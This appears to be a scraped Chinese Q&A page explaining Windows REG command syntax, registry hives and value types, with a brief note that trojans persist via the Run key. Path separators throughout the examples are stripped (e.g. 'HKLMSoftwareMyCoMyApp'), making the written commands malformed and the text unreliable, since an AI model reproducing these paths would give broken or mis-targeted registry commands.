如果没有指定 FullKey2,FullKey2 则跟 FullKey1 相同 ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名 ValueName 所选注册表项下的要比较的值的名称 省略时,该项下的所有值都会得到比较 /ve 比较空白值<no name>名称的值 /s 比较所有子项和值 Output [/oa | /od | /os | /on] 省略时,只显示不同的结果 /oa 显示所有不同和匹配结果 /od 只显示不同的结果 /os 只显示匹配结果 /on 不显示结果 返回代码: 0 - 成功,比较的结果相同 1 - 失败 2 - 成功,比较的结果不同 例如: REG COMPARE HKLMSoftwareMyCoMyApp HKLMSoftwareMyCoSaveMyApp 将注册表项 MyApp 下的所有值跟 SaveMyApp 比较 REG COMPARE HKLMSoftwareMyCo HKLM COPY REG COPY KeyName1 KeyName2 [/s] [/f] KeyName [\Machine]FullKey Machine 远程机器名 - 忽略当前机器的默认值 远程机器上只有 HKLM 和 HKU FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名 /s 复制所有子项和值 /f 不用提示就强行复制 例如: REG COPY HKLMSoftwareMyCoMyApp HKLMSoftwareMyCoSaveMyApp /s 将注册表项 MyApp 下的所有子项和值复制到注册表项 SaveMyApp REG COPY \ZODIACHKLMSoftwareMyCo HKLM DELETE REG DELETE KeyName [/v ValueName | /ve | /va] [/f] KeyName [\Machine]FullKey Machine 远程机器名 - 忽略当前机器的默认值 远程机器上只有 HKLM 和 HKU FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名 ValueName 所选项下的要删除的值的名称 省略时,该项下的所有子项和值都会被删除 /ve 删除空白值名称<no name>的值 /va 删除该项下的所有值 /f 不用提示就强行删除 例如: REG DELETE HKLMSoftwareMyCoMyAppTimeout 删除注册表项 T LOAD REG LOAD KeyName FileName KeyName ROOTKEYSubKey (只是本地机器的) ROOTKEY [ HKLM | HKU ] SubKey 要将配置单元文件加载进的注册表项名称。创建一个新的注册表项 FileName 要加载的配置单元文件名 您必须使用 REG SAVE 来创建这个文件 QUERY REG QUERY KeyName [/v ValueName | /ve] [/s] KeyName [Machine]FullKey Machine 远程机器名 - 忽略当前机器的默认值 远程机器上只有 HKLM 和 HKU FullKey 格式为 ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名 /v 查询特定注册表项 ValueName 所选项下的要查询的值的名称 省略时,该项下的所有值都会得到查询 /ve 查询默认值或空白值名称<no name> /s 查询所有子项和值 RESTORE REG RESTORE KeyName FileName KeyName ROOTKEYSubKey (只是本地机器) ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 要将配置单元文件还原到的注册表项全名。 改写现有项的值和子项 FileName 要还原的配置单元文件名 您必须使用 REG SAVE 来创建这个文件 SAVE REG SAVE KeyName FileName KeyName ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名 FileName 要保存的磁盘文件名。如果没有指定路径, 文件会在调用进程的当前文件夹中得到创建 UNLOAD REG UNLOAD KeyName KeyName ROOTKEYSubKey (只是本地机器的) ROOTKEY [ HKLM | HKU ] SubKey 要卸载的配置单元的注册表项名称 reg add "项" /v(value的缩写) 值 /t(type) reg_dword(默认是eg_sz) /d(data的缩写) "要插入的数据值" /f(forbiden的缩写,即强制的意思) 例如 reg add "HKLMSYSTEMCurrentControlSetControlSession" /v test /t reg_dword /d 1 /f 这句命令就是往你的注册表 HKLMSYSTEMCurrentControlSetControlSession 这个项下面新建一个 reg_dowrd 类型的值,名字为test,数据为 1 /f 表示在运行如果注册表里已经有这个值也不会提示你,直接修改, 如果没有这个参数的话,它会提示你是不是要修改
2023-07-20 11:17:331

HKEY_CLASSES_ROOT是什么意思呀?

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。
2023-07-20 11:17:422

批处理写入注册表需要什么参数

在cmd中输入 reg add /? 帮助就出来了。REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] KeyName [\Machine]FullKey 远程机器的机器名 - 忽略默认到当前机器。 远程机器上只有 HKLM 和 HKU。 FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下注册表项的完整名 /v 所选项之下要添加的值名 /ve 为注册表项添加空白值名<无名称> /t RegKey 数据类型 [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN | REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN | REG_NONE | REG_EXPAND_SZ ] 如果忽略,则采用 REG_SZ /s 指定一个在 REG_MULTI_SZ 数据字符串中 用作分隔符的字符 如果忽略,则将 "" 用作分隔符 /d 要分配给添加的注册表 ValueName 的数据 /f 不用提示就强行改写现有注册表项例如: REG ADD \ABCHKLMSoftwareMyCo 添加远程机器 ABC 上的一个注册表项 HKLMSoftwareMyCo REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead 添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead) REG ADD HKLMSoftwareMyCo /v MRU /t REG_MULTI_SZ /d faxmail 添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: faxmail) REG ADD HKLMSoftwareMyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% 添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%) 注意: 在扩充字符串中使用双百分比符号( %% )
2023-07-20 11:17:544

香港游戏论坛的名字,求解

www.hacken.cc HKCC 中国香港游戏机资讯网这个?
2023-07-20 11:18:171

reg详细资料大全

Reg 即对注册表子项信息和注册表项值中的值执行添加、更改、导入、导出以及其他操作的命令。 reg简介,REG命令,添加子项,语法,参数,类型介绍,注释,示例,示例1,示例2,示例3,示例4,示例5,示例6,示例7,示例8,示例9,示例10,示例11,再生器,REG, reg简介 reg为CAD的面域指令,将密闭的环定义为平面 REG命令 reg add reg compare reg copy reg delete reg export reg import reg load reg query reg restore reg save reg unload 添加子项 将新的子项或项添加到注册表中 语法 reg add KeyName [{/v ValueName | /ve}] [/t DataType] [/s Separator] [/d Data] [/f] 参数 KeyName 指定要添加的子项或项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分 。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 指定要添加到指定子项下的注册表项名称。 /ve 指定添加到注册表中的注册表项为空值。 /t Type 指定注册表项的类型。Type 必须是以下几种类型之一: REG_SZ REG_MULTI_SZ REG_DWORD_BIG_ENDIAN REG_DWORD REG_BINARY REG_DWORD_LITTLE_ENDIAN REG_LINK REG_FULL_RESOURCE_DESCRIPTOR REG_EXPAND_SZ 类型介绍 二进制值 REG_BINARY 原始二进制数据。大多数硬体组件信息作为二进制数据存储,以十六进制的格式显示在注册表编辑器中。 DWORD 值 REG_DWORD 由 4 位元组长(32 位整数)的数字表示的数据。设备驱动程式和服务的许多参数都是此类型,以二进制、十六进制或十进制格式显示在注册表编辑器中。与之有关的值是 DWORD_LITTLE_ENDIAN (最不重要的位元组在最低位地址)和 REG_DWORD_BIG_ENDIAN (最不重要的位元组在最高位地址)。 可扩展字元串值 REG_EXPAND_SZ 长度可变的数据字元串。这种数据类型包括程式或服务使用该数据时解析的变数。 多字元串值 REG_MULTI_SZ 多字元串。包含用户可以阅读的列表或多个值的值通常就是这种类型。各条目之间用空格、逗号或其他标记分隔。 字元串值 REG_SZ 长度固定的文本字元串。 二进制值 REG_RESOURCE_LIST 一系列嵌套的数组,用于存储硬体设备驱动程式或它控制的某个物理设备所使用的资源列表。此数据由系统检测并写入 ResourceMap 树,作为二进制值以十六进制的格式显示在注册表编辑器中。 二进制值 REG_RESOURCE_REQUIREMENTS_LIST 一系列嵌套的数组,用于存储设备驱动程式或它控制的某个物理设备可以使用的可能的硬体资源列表,系统将此列表的子集写入 ResourceMap 树。此数据由系统检测,作为二进制值以十六进制的格式显示在注册表编辑器中。 二进制值 REG_FULL_RESOURCE_DESCRIPTOR 一系列嵌套的数组,用于存储物理硬体设备使用的资源列表。此数据由系统检测并写入 HardwareDescription 树,作为二进制值以十六进制的格式显示在注册表编辑器中 无 REG_NONE 没有具体类型的数据。此数据由系统或应用程式写到注册表,作为二进制值以十六进制的格式显示在注册表编辑器中 连结 REG_LINK 一个 Unicode 字元串,它命名一个符号连结。 QWORD值 REG_QWORD 由 64 位整数数字表示的数据。此数据作为二进制值显示在注册表编辑器中,最初用在 Windows 2000 中。 /s Separator 当指定了 REG_MULTI_SZ 